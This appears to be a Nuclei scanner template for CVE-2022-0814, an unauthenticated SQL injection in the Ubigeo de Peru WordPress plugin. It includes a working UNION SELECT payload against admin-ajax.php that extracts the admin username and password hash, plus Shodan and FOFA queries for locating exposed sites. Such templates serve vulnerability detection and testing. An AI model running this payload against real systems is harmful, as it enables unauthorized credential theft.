Ubigeo de Peru < 3.6.4 - SQL Injection

id: CVE-2022-0814

info:
  name: Ubigeo de Peru < 3.6.4 - SQL Injection
  author: r3Y3r53
  severity: critical
  description: |
    The plugin does not properly sanitise and escape some parameters before using them in SQL statements via various AJAX actions, some of which are available to unauthenticated users, leading to SQL Injections.
  impact: |
    Unauthenticated attackers can exploit SQL injection via AJAX actions to extract usernames and password hashes from the WordPress database.
  remediation: Fixed in version 3.6.4
  reference:
    - https://wpscan.com/vulnerability/fd84dc08-0079-4fcf-81c3-a61d652e3269
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0814
    - https://wordpress.org/plugins/ubigeo-peru/
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0814
    cwe-id: CWE-89
    epss-score: 0.08913
    epss-percentile: 0.94586
    cpe: cpe:2.3:a:ubigeo_de_peru_para_woocommerce_project:ubigeo_de_peru_para_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ubigeo_de_peru_para_woocommerce_project
    product: ubigeo_de_peru_para_woocommerce
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ubigeo-peru/
    fofa-query: body=/wp-content/plugins/ubigeo-peru/
    publicwww-query: "/wp-content/plugins/ubigeo-peru/"
  tags: cve,cve2022,wordpress,wpscan,wp-plugin,sqli,ubigeo-peru,unauth,ubigeo_de_peru_para_woocommerce_project,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=rt_ubigeo_load_distritos_address&idProv=1%20UNION%20SELECT%201,(SELECT%20user_login%20FROM%20wp_users%20WHERE%20ID%20=%201),(SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%20=%201)%20from%20wp_users#

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'idProv'
          - 'idDist'
          - 'distrito'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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